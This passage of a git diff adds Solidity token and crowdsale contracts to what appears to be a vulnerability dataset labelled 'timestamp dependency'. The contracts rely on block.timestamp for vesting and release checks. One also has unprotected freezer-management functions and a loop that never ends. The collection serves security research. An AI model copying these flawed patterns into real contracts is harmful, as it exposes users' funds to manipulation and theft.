address(this).balance.div(totalSupply_); + } + emit EndGame(address(this), _gameOpponent, _gameResult); + } + + + function endGameInternal() private { + gameOpponent = address(0); + gameTime = 0; + status = 0; + } + + + function transferFundAndEndGame() payable public { + require(gameOpponent != address(0) && gameOpponent == msg.sender); + if (msg.value > 0 && totalSupply_ > 0) { + price = address(this).balance.div(totalSupply_); + } + endGameInternal(); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/1051.sol b/smart_contract_dataset/timestamp dependency/1051.sol new file mode 100644 index 0000000000000000000000000000000000000000..1a72c52ebd499426686c31af2b76bbf4509092fc --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/1051.sol @@ -0,0 +1,392 @@ +pragma solidity 0.4.23; + +contract DSAuthority { + function canCall( + address src, address dst, bytes4 sig + ) public view returns (bool); +} + +contract DSAuthEvents { + event LogSetAuthority (address indexed authority); + event LogSetOwner (address indexed owner); +} + +contract DSAuth is DSAuthEvents { + DSAuthority public authority; + address public owner; + + constructor() public { + owner = msg.sender; + emit LogSetOwner(msg.sender); + } + + function setOwner(address owner_) + public + auth + { + owner = owner_; + emit LogSetOwner(owner); + } + + function setAuthority(DSAuthority authority_) + public + auth + { + authority = authority_; + emit LogSetAuthority(authority); + } + + modifier auth { + require(isAuthorized(msg.sender, msg.sig)); + _; + } + + function isAuthorized(address src, bytes4 sig) internal view returns (bool) { + if (src == address(this)) { + return true; + } else if (src == owner) { + return true; + } else if (authority == DSAuthority(0)) { + return false; + } else { + return authority.canCall(src, this, sig); + } + } +} + +contract DSNote { + event LogNote( + bytes4 indexed sig, + address indexed guy, + bytes32 indexed foo, + bytes32 indexed bar, + uint wad, + bytes fax + ) anonymous; + + modifier note { + bytes32 foo; + bytes32 bar; + + assembly { + foo := calldataload(4) + bar := calldataload(36) + } + + emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); + + _; + } +} + +contract DSStop is DSNote, DSAuth { + bool public stopped; + + modifier stoppable { + require(!stopped); + _; + } + function stop() public auth note { + stopped = true; + } + + function start() public auth note { + stopped = false; + } +} + +contract DSMath { + function add(uint x, uint y) internal pure returns (uint z) { + require((z = x + y) >= x); + } + + function sub(uint x, uint y) internal pure returns (uint z) { + require((z = x - y) <= x); + } + + function mul(uint x, uint y) internal pure returns (uint z) { + require(y == 0 || (z = x * y) / y == x); + } +} + +contract ERC20 { + + function totalSupply() constant public returns (uint256 supply); + + + + function balanceOf(address _owner) constant public returns (uint256 balance); + + + + + + function transfer(address _to, uint256 _value) public returns (bool success); + + + + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); + + + + + + function approve(address _spender, uint256 _value) public returns (bool success); + + + + + function allowance(address _owner, address _spender) constant public returns (uint256 remaining); + + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); +} + + +contract Coin is ERC20, DSStop { + string public name; + string public symbol; + uint8 public decimals = 18; + uint256 internal c_totalSupply; + + + mapping(address => uint256) internal c_balances; + mapping(address => mapping(address => uint256)) internal c_approvals; + + function init(uint256 token_supply, string token_name, string token_symbol) internal { + c_balances[msg.sender] = token_supply; + c_totalSupply = token_supply; + name = token_name; + symbol = token_symbol; + } + + function() public { + assert(false); + } + + function setName(string _name) auth public { + name = _name; + + + + + + + } + + function totalSupply() constant public returns (uint256) { + return c_totalSupply; + } + + function balanceOf(address _owner) constant public returns (uint256) { + return c_balances[_owner]; + } + + function approve(address _spender, uint256 _value) public stoppable returns (bool) { + require(msg.data.length >= (2 * 32) + 4); + require(_value == 0 || c_approvals[msg.sender][_spender] == 0); + + require(_value < c_totalSupply); + + c_approvals[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant public returns (uint256) { + return c_approvals[_owner][_spender]; + } +} + +contract FreezerAuthority is DSAuthority { + address[] internal c_freezers; + + bytes4 constant setFreezingSig = bytes4(0x51c3b8a6); + + bytes4 constant transferAndFreezingSig = bytes4(0xb8a1fdb6); + + function canCall(address caller, address, bytes4 sig) public view returns (bool) { + + if (isFreezer(caller) && (sig == setFreezingSig || sig == transferAndFreezingSig)) { + return true; + } else { + return false; + } + } + + function addFreezer(address freezer) public { + int i = indexOf(c_freezers, freezer); + if (i < 0) { + c_freezers.push(freezer); + } + } + + function removeFreezer(address freezer) public { + int index = indexOf(c_freezers, freezer); + if (index >= 0) { + uint i = uint(index); + while (i < c_freezers.length - 1) { + c_freezers[i] = c_freezers[i + 1]; + } + c_freezers.length--; + } + } + + + function indexOf(address[] values, address value) internal pure returns (int) { + uint i = 0; + while (i < values.length) { + if (values[i] == value) { + return int(i); + } + i++; + } + return int(- 1); + } + + function isFreezer(address addr) public constant returns (bool) { + return indexOf(c_freezers, addr) >= 0; + } +} + +contract LimitCollectCoin is Coin, DSMath { + + struct FreezingNode { + uint end_stamp; + uint num_lccs; + uint8 freezing_type; + } + + + mapping(address => FreezingNode[]) internal c_freezing_list; + + constructor(uint256 token_supply, string token_name, string token_symbol) public { + init(token_supply, token_name, token_symbol); + setAuthority(new FreezerAuthority()); + } + + function addFreezer(address freezer) auth public { + FreezerAuthority(authority).addFreezer(freezer); + } + + function removeFreezer(address freezer) auth public { + FreezerAuthority(authority).removeFreezer(freezer); + } + + event ClearExpiredFreezingEvent(address indexed addr); + event SetFreezingEvent(address indexed addr, uint end_stamp, uint num_lccs, uint8 indexed freezing_type); + + function clearExpiredFreezing(address addr) public { + FreezingNode[] storage nodes = c_freezing_list[addr]; + uint length = nodes.length; + + + uint left = 0; + while (left < length) { + + if (nodes[left].end_stamp <= block.timestamp) { + break; + } + left++; + } + + + uint right = left + 1; + while (left < length && right < length) { + + if (nodes[right].end_stamp > block.timestamp) { + nodes[left] = nodes[right]; + left++; + } + right++; + } + if (length != left) { + nodes.length = left; + emit ClearExpiredFreezingEvent(addr); + } + } + + function validBalanceOf(address addr) constant public returns (uint) { + FreezingNode[] memory nodes = c_freezing_list[addr]; + uint length = nodes.length; + uint total_lccs = balanceOf(addr); + + for (uint i = 0; i < length; ++i) { + if (nodes[i].end_stamp > block.timestamp) { + total_lccs = sub(total_lccs, nodes[i].num_lccs); + } + } + + return total_lccs; + } + + function freezingBalanceNumberOf(address addr) constant public returns (uint) { + return c_freezing_list[addr].length; + } + + function freezingBalanceInfoOf(address addr, uint index) constant public returns (uint, uint, uint8) { + return (c_freezing_list[addr][index].end_stamp, c_freezing_list[addr][index].num_lccs, uint8(c_freezing_list[addr][index].freezing_type)); + } + + function setFreezing(address addr, uint end_stamp, uint num_lccs, uint8 freezing_type) auth stoppable public { + require(block.timestamp < end_stamp); + + require(num_lccs < c_totalSupply); + clearExpiredFreezing(addr); + uint valid_balance = validBalanceOf(addr); + require(valid_balance >= num_lccs); + + FreezingNode memory node = FreezingNode(end_stamp, num_lccs, freezing_type); + c_freezing_list[addr].push(node); + + emit SetFreezingEvent(addr, end_stamp, num_lccs, freezing_type); + } + + function transferAndFreezing(address _to, uint256 _value, uint256 freeze_amount, uint end_stamp, uint8 freezing_type) auth stoppable public returns (bool) { + + require(_value < c_totalSupply); + require(freeze_amount <= _value); + + transfer(_to, _value); + setFreezing(_to, end_stamp, freeze_amount, freezing_type); + + return true; + } + + function transfer(address _to, uint256 _value) stoppable public returns (bool) { + require(msg.data.length >= (2 * 32) + 4); + + require(_value < c_totalSupply); + clearExpiredFreezing(msg.sender); + uint from_lccs = validBalanceOf(msg.sender); + + require(from_lccs >= _value); + + c_balances[msg.sender] = sub(c_balances[msg.sender], _value); + c_balances[_to] = add(c_balances[_to], _value); + + emit Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint256 _value) stoppable public returns (bool) { + + require(_value < c_totalSupply); + require(c_approvals[_from][msg.sender] >= _value); + + clearExpiredFreezing(_from); + uint from_lccs = validBalanceOf(_from); + + require(from_lccs >= _value); + + c_approvals[_from][msg.sender] = sub(c_approvals[_from][msg.sender], _value); + c_balances[_from] = sub(c_balances[_from], _value); + c_balances[_to] = add(c_balances[_to], _value); + + emit Transfer(_from, _to, _value); + return true; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10547.sol b/smart_contract_dataset/timestamp dependency/10547.sol new file mode 100644 index 0000000000000000000000000000000000000000..73cbbc9615b0aac078a5137bade2b8efeefa8e39 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10547.sol @@ -0,0 +1,498 @@ +pragma solidity ^0.4.23; + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256) { + return balances[_owner]; + } + +} + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + + + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + function transferFrom( + address _from, + address _to, + uint256 _value + ) + public + returns (bool) + { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance( + address _owner, + address _spender + ) + public + view + returns (uint256) + { + return allowed[_owner][_spender]; + } + + + function increaseApproval( + address _spender, + uint _addedValue + ) + public + returns (bool) + { + allowed[msg.sender][_spender] = ( + allowed[msg.sender][_spender].add(_addedValue)); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval( + address _spender, + uint _subtractedValue + ) + public + returns (bool) + { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + + + + +contract MintableToken is StandardToken, Ownable { + event Mint(address indexed to, uint256 amount); + event MintFinished(); + + bool public mintingFinished = false; + + + modifier canMint() { + require(!mintingFinished); + _; + } + + modifier hasMintPermission() { + require(msg.sender == owner); + _; + } + + + function mint( + address _to, + uint256 _amount + ) + hasMintPermission + canMint + public + returns (bool) + { + totalSupply_ = totalSupply_.add(_amount); + balances[_to] = balances[_to].add(_amount); + emit Mint(_to, _amount); + emit Transfer(address(0), _to, _amount); + return true; + } + + + function finishMinting() onlyOwner canMint public returns (bool) { + mintingFinished = true; + emit MintFinished(); + return true; + } +} + + + +contract DetailedERC20 is ERC20 { + string public name; + string public symbol; + uint8 public decimals; + + constructor(string _name, string _symbol, uint8 _decimals) public { + name = _name; + symbol = _symbol; + decimals = _decimals; + } +} + + +contract CappedToken is MintableToken { + + uint256 public cap; + + constructor(uint256 _cap) public { + require(_cap > 0); + cap = _cap; + } + + + function mint( + address _to, + uint256 _amount + ) + + canMint + public + returns (bool) + { + require(totalSupply_.add(_amount) <= cap); + + return super.mint(_to, _amount); + } + +} + + + +contract ATTRToken is CappedToken, DetailedERC20 { + + using SafeMath for uint256; + + uint256 public constant TOTAL_SUPPLY = uint256(1000000000); + uint256 public constant TOTAL_SUPPLY_ACES = uint256(1000000000000000000000000000); + uint256 public constant CROWDSALE_MAX_ACES = uint256(500000000000000000000000000); + + address public crowdsaleContract; + uint256 public crowdsaleMinted = uint256(0); + + uint256 public releaseTime = uint256(1536278399); + bool public fundingLowcapReached = false; + bool public isReleased = false; + + mapping (address => bool) public agents; + + mapping (address => bool) public transferWhitelist; + + constructor() public + CappedToken(TOTAL_SUPPLY_ACES) + DetailedERC20("Attrace", "ATTR", uint8(18)) { + transferWhitelist[msg.sender] = true; + agents[msg.sender] = true; + } + + + + + modifier isInitialized() { + require(crowdsaleContract != address(0)); + require(releaseTime > 0); + _; + } + + + + + function setAgent(address _address, bool _status) public onlyOwner { + require(_address != address(0)); + agents[_address] = _status; + } + + modifier onlyAgents() { + require(agents[msg.sender] == true); + _; + } + + function setCrowdsaleContract(address _crowdsaleContract) public onlyAgents { + require(_crowdsaleContract != address(0)); + crowdsaleContract = _crowdsaleContract; + } + + function setTransferWhitelist(address _address, bool _canTransfer) public onlyAgents { + require(_address != address(0)); + transferWhitelist[_address] = _canTransfer; + } + + function setReleaseTime(uint256 _time) public onlyAgents { + require(_time > block.timestamp); + require(isReleased == false); + releaseTime = _time; + } + + function setFundingLowcapReached(uint256 _verification) public onlyAgents { + require(_verification == uint256(20234983249), "wrong verification code"); + fundingLowcapReached = true; + } + + function markReleased() public { + if (isReleased == false && _now() > releaseTime) { + isReleased = true; + } + } + + + + + modifier hasMintPermission() { + require(msg.sender == crowdsaleContract || agents[msg.sender] == true); + _; + } + + function mint(address _to, uint256 _aces) public canMint hasMintPermission returns (bool) { + if (msg.sender == crowdsaleContract) { + require(crowdsaleMinted.add(_aces) <= CROWDSALE_MAX_ACES); + crowdsaleMinted = crowdsaleMinted.add(_aces); + } + return super.mint(_to, _aces); + } + + + + + modifier canTransfer(address _from) { + if (transferWhitelist[_from] == false) { + require(block.timestamp >= releaseTime); + require(fundingLowcapReached == true); + } + _; + } + + function transfer(address _to, uint256 _aces) + public + isInitialized + canTransfer(msg.sender) + tokensAreUnlocked(msg.sender, _aces) + returns (bool) { + markReleased(); + return super.transfer(_to, _aces); + } + + function transferFrom(address _from, address _to, uint256 _aces) + public + isInitialized + canTransfer(_from) + tokensAreUnlocked(_from, _aces) + returns (bool) { + markReleased(); + return super.transferFrom(_from, _to, _aces); + } + + + + + struct VestingRule { + uint256 aces; + uint256 unlockTime; + bool processed; + } + + + mapping (address => uint256) public lockedAces; + + modifier tokensAreUnlocked(address _from, uint256 _aces) { + if (lockedAces[_from] > uint256(0)) { + require(balanceOf(_from).sub(lockedAces[_from]) >= _aces); + } + _; + } + + + mapping (address => VestingRule[]) public vestingRules; + + function processVestingRules(address _address) public onlyAgents { + _processVestingRules(_address); + } + + function processMyVestingRules() public { + _processVestingRules(msg.sender); + } + + function addVestingRule(address _address, uint256 _aces, uint256 _unlockTime) public { + require(_aces > 0); + require(_address != address(0)); + require(_unlockTime > _now()); + if (_now() < releaseTime) { + require(msg.sender == owner); + } else { + require(msg.sender == crowdsaleContract || msg.sender == owner); + require(_now() < releaseTime.add(uint256(2592000))); + } + vestingRules[_address].push(VestingRule({ + aces: _aces, + unlockTime: _unlockTime, + processed: false + })); + lockedAces[_address] = lockedAces[_address].add(_aces); + } + + + + function _processVestingRules(address _address) internal { + for (uint256 i = uint256(0); i < vestingRules[_address].length; i++) { + if (vestingRules[_address][i].processed == false && vestingRules[_address][i].unlockTime < _now()) { + lockedAces[_address] = lockedAces[_address].sub(vestingRules[_address][i].aces); + vestingRules[_address][i].processed = true; + } + } + } + + + + + function _now() internal view returns (uint256) { + return block.timestamp; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10551.sol b/smart_contract_dataset/timestamp dependency/10551.sol new file mode 100644 index 0000000000000000000000000000000000000000..7037465ab69de558136a43cc592fb590f622144c --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10551.sol @@ -0,0 +1,1314 @@ + +pragma solidity ^0.4.11; + + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public constant returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + + + +contract SafeMath { + function safeMul(uint a, uint b) internal returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function safeDiv(uint a, uint b) internal returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function safeSub(uint a, uint b) internal returns (uint) { + assert(b <= a); + return a - b; + } + + function safeAdd(uint a, uint b) internal returns (uint) { + uint c = a + b; + assert(c>=a && c>=b); + return c; + } + + function max64(uint64 a, uint64 b) internal constant returns (uint64) { + return a >= b ? a : b; + } + + function min64(uint64 a, uint64 b) internal constant returns (uint64) { + return a < b ? a : b; + } + + function max256(uint256 a, uint256 b) internal constant returns (uint256) { + return a >= b ? a : b; + } + + function min256(uint256 a, uint256 b) internal constant returns (uint256) { + return a < b ? a : b; + } + +} + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + + + + +library SafeMathLibExt { + + function times(uint a, uint b) returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function divides(uint a, uint b) returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function minus(uint a, uint b) returns (uint) { + assert(b <= a); + return a - b; + } + + function plus(uint a, uint b) returns (uint) { + uint c = a + b; + assert(c>=a); + return c; + } + +} + + + + + + + + + + + + + +contract Haltable is Ownable { + bool public halted; + + modifier stopInEmergency { + if (halted) throw; + _; + } + + modifier stopNonOwnersInEmergency { + if (halted && msg.sender != owner) throw; + _; + } + + modifier onlyInEmergency { + if (!halted) throw; + _; + } + + + function halt() external onlyOwner { + halted = true; + } + + + function unhalt() external onlyOwner onlyInEmergency { + halted = false; + } + +} + + + + + + +contract PricingStrategy { + + address public tier; + + + function isPricingStrategy() public constant returns (bool) { + return true; + } + + + function isSane(address crowdsale) public constant returns (bool) { + return true; + } + + + function isPresalePurchase(address purchaser) public constant returns (bool) { + return false; + } + + + function updateRate(uint newOneTokenInWei) public; + + + function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); +} + + + + + + +contract FinalizeAgent { + + bool public reservedTokensAreDistributed = false; + + function isFinalizeAgent() public constant returns(bool) { + return true; + } + + + function isSane() public constant returns (bool); + + function distributeReservedTokens(uint reservedTokensDistributionBatch); + + + function finalizeCrowdsale(); + +} + + + + + + + + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public constant returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +contract FractionalERC20Ext is ERC20 { + + uint public decimals; + uint public minCap; + +} + + + + +contract CrowdsaleExt is Haltable { + + + uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; + + using SafeMathLibExt for uint; + + + FractionalERC20Ext public token; + + + PricingStrategy public pricingStrategy; + + + FinalizeAgent public finalizeAgent; + + + string public name; + + + address public multisigWallet; + + + uint public minimumFundingGoal; + + + uint public startsAt; + + + uint public endsAt; + + + uint public tokensSold = 0; + + + uint public weiRaised = 0; + + + uint public investorCount = 0; + + + bool public finalized; + + bool public isWhiteListed; + + address[] public joinedCrowdsales; + uint8 public joinedCrowdsalesLen = 0; + uint8 public joinedCrowdsalesLenMax = 50; + struct JoinedCrowdsaleStatus { + bool isJoined; + uint8 position; + } + mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; + + + mapping (address => uint256) public investedAmountOf; + + + mapping (address => uint256) public tokenAmountOf; + + struct WhiteListData { + bool status; + uint minCap; + uint maxCap; + } + + + bool public isUpdatable; + + + mapping (address => WhiteListData) public earlyParticipantWhitelist; + + + address[] public whitelistedParticipants; + + + uint public ownerTestValue; + + + enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} + + + event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); + + + event Whitelisted(address addr, bool status, uint minCap, uint maxCap); + event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); + + + event StartsAtChanged(uint newStartsAt); + + + event EndsAtChanged(uint newEndsAt); + + function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { + + owner = msg.sender; + + name = _name; + + token = FractionalERC20Ext(_token); + + setPricingStrategy(_pricingStrategy); + + multisigWallet = _multisigWallet; + if(multisigWallet == 0) { + throw; + } + + if(_start == 0) { + throw; + } + + startsAt = _start; + + if(_end == 0) { + throw; + } + + endsAt = _end; + + + if(startsAt >= endsAt) { + throw; + } + + + minimumFundingGoal = _minimumFundingGoal; + + isUpdatable = _isUpdatable; + + isWhiteListed = _isWhiteListed; + } + + + function() payable { + throw; + } + + + function investInternal(address receiver, uint128 customerId) stopInEmergency private { + + + if(getState() == State.PreFunding) { + + throw; + } else if(getState() == State.Funding) { + + + if(isWhiteListed) { + if(!earlyParticipantWhitelist[receiver].status) { + throw; + } + } + } else { + + throw; + } + + uint weiAmount = msg.value; + + + uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); + + if(tokenAmount == 0) { + + throw; + } + + if(isWhiteListed) { + if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { + + throw; + } + + + if (isBreakingInvestorCap(receiver, tokenAmount)) { + throw; + } + + updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); + } else { + if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { + throw; + } + } + + if(investedAmountOf[receiver] == 0) { + + investorCount++; + } + + + investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); + tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); + + + weiRaised = weiRaised.plus(weiAmount); + tokensSold = tokensSold.plus(tokenAmount); + + + if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { + throw; + } + + assignTokens(receiver, tokenAmount); + + + if(!multisigWallet.send(weiAmount)) throw; + + + Invested(receiver, weiAmount, tokenAmount, customerId); + } + + + function invest(address addr) public payable { + investInternal(addr, 0); + } + + + function buy() public payable { + invest(msg.sender); + } + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); + } + } + + function areReservedTokensDistributed() public constant returns (bool) { + return finalizeAgent.reservedTokensAreDistributed(); + } + + function canDistributeReservedTokens() public constant returns(bool) { + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; + return false; + } + + + function finalize() public inState(State.Success) onlyOwner stopInEmergency { + + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.finalizeCrowdsale(); + } + + finalized = true; + } + + + function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { + assert(address(addr) != address(0)); + assert(address(finalizeAgent) == address(0)); + finalizeAgent = addr; + + + if(!finalizeAgent.isFinalizeAgent()) { + throw; + } + } + + + function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(maxCap > 0); + assert(minCap <= maxCap); + assert(now <= endsAt); + + if (!isAddressWhitelisted(addr)) { + whitelistedParticipants.push(addr); + Whitelisted(addr, status, minCap, maxCap); + } else { + WhitelistItemChanged(addr, status, minCap, maxCap); + } + + earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); + } + + function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { + if (!isWhiteListed) throw; + assert(now <= endsAt); + assert(addrs.length == statuses.length); + assert(statuses.length == minCaps.length); + assert(minCaps.length == maxCaps.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); + } + } + + function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { + if (!isWhiteListed) throw; + if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); + } + } + + function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(now <= endsAt); + assert(isTierJoined(msg.sender)); + if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; + + uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; + newMaxCap = newMaxCap.minus(tokensBought); + earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); + } + + function isAddressWhitelisted(address addr) public constant returns(bool) { + for (uint i = 0; i < whitelistedParticipants.length; i++) { + if (whitelistedParticipants[i] == addr) { + return true; + break; + } + } + + return false; + } + + function whitelistedParticipantsLength() public constant returns (uint) { + return whitelistedParticipants.length; + } + + function isTierJoined(address addr) public constant returns(bool) { + return joinedCrowdsaleState[addr].isJoined; + } + + function getTierPosition(address addr) public constant returns(uint8) { + return joinedCrowdsaleState[addr].position; + } + + function getLastTier() public constant returns(address) { + if (joinedCrowdsalesLen > 0) + return joinedCrowdsales[joinedCrowdsalesLen - 1]; + else + return address(0); + } + + function setJoinedCrowdsales(address addr) private onlyOwner { + assert(addr != address(0)); + assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); + assert(!isTierJoined(addr)); + joinedCrowdsales.push(addr); + joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ + isJoined: true, + position: joinedCrowdsalesLen + }); + joinedCrowdsalesLen++; + } + + function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { + assert(addrs.length > 0); + assert(joinedCrowdsalesLen == 0); + assert(addrs.length <= joinedCrowdsalesLenMax); + for (uint8 iter = 0; iter < addrs.length; iter++) { + setJoinedCrowdsales(addrs[iter]); + } + } + + function setStartsAt(uint time) onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(time <= endsAt); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + uint8 tierPosition = getTierPosition(this); + + + for (uint8 j = 0; j < tierPosition; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time >= crowdsale.endsAt()); + } + + startsAt = time; + StartsAtChanged(startsAt); + } + + + function setEndsAt(uint time) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(startsAt <= time); + assert(now <= endsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time <= crowdsale.startsAt()); + } + + endsAt = time; + EndsAtChanged(endsAt); + } + + + function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { + assert(address(_pricingStrategy) != address(0)); + assert(address(pricingStrategy) == address(0)); + pricingStrategy = _pricingStrategy; + + + if(!pricingStrategy.isPricingStrategy()) { + throw; + } + } + + + function setMultisig(address addr) public onlyOwner { + + + if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { + throw; + } + + multisigWallet = addr; + } + + + function isMinimumGoalReached() public constant returns (bool reached) { + return weiRaised >= minimumFundingGoal; + } + + + function isFinalizerSane() public constant returns (bool sane) { + return finalizeAgent.isSane(); + } + + + function isPricingSane() public constant returns 